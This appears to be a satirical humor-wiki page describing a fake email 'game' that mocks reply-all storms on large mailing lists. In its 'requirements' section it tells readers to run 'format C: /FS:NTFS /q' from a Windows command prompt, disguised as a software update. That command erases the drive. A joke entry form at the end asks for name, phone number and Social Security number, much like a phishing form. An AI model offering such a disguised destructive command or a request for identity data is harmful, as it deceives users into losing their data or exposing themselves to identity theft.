Reply To All

Reply To All is a very popular game designed to be used with email. The game only works on Windows computers, which has caused many Linux, Mac, and BSD users to wonder just what it is about them that game creators don't like.

The name Reply To All comes from the title of an Open Letter written by RMS to propose a set of rules to help assist people with jobs that had to use email but were confused by the unfamiliar and complex social environment it provided.

Rules

The rules for Reply To All are simple:

1. The contestant fills out a Reply To All entry form (located below) and submits it to the largest mailing list they can find.

A traditional confirmation message shown to players upon entering the game

2. The contestant then creates their contest submission. This is an email which must contain one or more of the following:

• Bolded ALL CAPS Sentences demanding the immediate cessation of the game
• A request to remove the contestant from the game
• Shock and awe at the fact that so many others are enrolled in the game
• A reminder of the productivity lost due to enrollment in the game
• These instructions

3. The contestant is free to use whatever font style, colors, and size they wish when creating the message, with bonus points being awarded for Intelligent Design.

4. The contest entry is then sent to the same mailing list the contestant initially registered with to be judged.

Scoring

Entries for Reply To All are scored based on the following criteria:

• Largeness of Font Size
• Number of Colors Used to draw attention to text
• Background colors clashing with foreground text colors
• Number of people the email is sent to
• Number of people that reply back

Hardware and Software Requirements

While any hardware supported by Microsoft Windows will be fine for playing Reply To All on, the demands the game places on the operating system require the computer to be running the latest patches and updates.

Fortunately, Windows provides a built-in way to prepare your computer to play Reply To All:

1. Click Start -> Run, type in cmd then hit Enter.
2. If a black box pops up, you most likely do not have the most recent version of the required software.
3. To confirm this, type "ipconfig" in the black box and hit enter.
4. If numbers like 192.168.x.x or 255.255.255.0 appear, your software is outdated and should be upgraded.
5. To obtain the latest version of software, in the black box type the following:

  format C: /FS:NTFS /q

Following these steps will update your computer to the required software versions, and you will then be ready to play "Reply to All".

Entry Form

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Reply-To-All Contestant Entry Form
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First Name       :
Last Name        :
Telephone Number :
SSN (USA only)   : 
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